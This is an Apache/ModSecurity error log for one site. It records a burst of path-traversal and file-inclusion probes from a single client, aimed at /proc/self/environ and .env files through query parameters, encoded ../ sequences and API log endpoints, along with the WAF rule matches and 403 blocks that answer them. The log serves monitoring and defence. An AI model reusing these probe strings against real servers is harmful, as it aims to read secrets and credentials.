[Sun Oct 25 14:01:41.795562 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
[Sun Oct 25 14:01:41.795649 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
[Sun Oct 25 14:01:41.796138 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
[Sun Oct 25 14:01:41.796505 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
[Sun Oct 25 14:01:41.803639 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5EBaYYcNPV1bnoekNX-QAAAAQ"]
[Sun Oct 25 14:01:41.804082 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5EBaYYcNPV1bnoekNX-QAAAAQ"]
[Sun Oct 25 14:01:41.804356 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5EBaYYcNPV1bnoekNX-QAAAAQ"]
[Sun Oct 25 14:01:41.806191 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at5EBSjnAS4eJh-ada2NJgAAAA0"]
[Sun Oct 25 14:01:41.806593 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at5EBSjnAS4eJh-ada2NJgAAAA0"]
[Sun Oct 25 14:01:41.815774 2026] [core:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Sun Oct 25 14:01:41.821329 2026] [core:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] AH10244: invalid URI path (/appearance/../../proc/self/environ)
[Sun Oct 25 14:01:41.822767 2026] [core:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] AH10244: invalid URI path (/appearance/../../.env)
[Sun Oct 25 14:01:41.823395 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBQ99Fkrvw6SgmfSw6QAAAAM"]
[Sun Oct 25 14:01:41.823508 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBQ99Fkrvw6SgmfSw6QAAAAM"]
[Sun Oct 25 14:01:41.823563 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBQ99Fkrvw6SgmfSw6QAAAAM"]
[Sun Oct 25 14:01:41.823682 2026] [core:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Sun Oct 25 14:01:41.824102 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBQ99Fkrvw6SgmfSw6QAAAAM"]
[Sun Oct 25 14:01:41.824433 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBQ99Fkrvw6SgmfSw6QAAAAM"]
[Sun Oct 25 14:01:41.828089 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBW1d3XiN0G_LuszDuAAAAAY"]
[Sun Oct 25 14:01:41.828388 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBW1d3XiN0G_LuszDuAAAAAY"]
[Sun Oct 25 14:01:41.828793 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBW1d3XiN0G_LuszDuAAAAAY"]
[Sun Oct 25 14:01:41.830541 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBYIGIq5euXyTbvT1QwAAACQ"]
[Sun Oct 25 14:01:41.830758 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBYIGIq5euXyTbvT1QwAAACQ"]
[Sun Oct 25 14:01:41.830827 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBYIGIq5euXyTbvT1QwAAACQ"]
[Sun Oct 25 14:01:41.831338 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBYIGIq5euXyTbvT1QwAAACQ"]
[Sun Oct 25 14:01:41.831649 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBSjnAS4eJh-ada2NJwAAAA0"]
[Sun Oct 25 14:01:41.831679 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBYIGIq5euXyTbvT1QwAAACQ"]
[Sun Oct 25 14:01:41.831843 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBSjnAS4eJh-ada2NJwAAAA0"]
[Sun Oct 25 14:01:41.832157 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBSjnAS4eJh-ada2NJwAAAA0"]
[Sun Oct 25 14:01:41.837595 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.837659 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.837690 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.837744 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.838127 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.838371 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBbc82c1J4zoyxalWpgAAAAI"]
[Sun Oct 25 14:01:41.846452 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40600] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBQ1D5604vyZoHXzbfgAAAAU"]
[Sun Oct 25 14:01:41.846650 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBQ1D5604vyZoHXzbfgAAAAU"]
[Sun Oct 25 14:01:41.846916 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at5EBQ1D5604vyZoHXzbfgAAAAU"]
[Sun Oct 25 14:01:41.847464 2026] [core:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
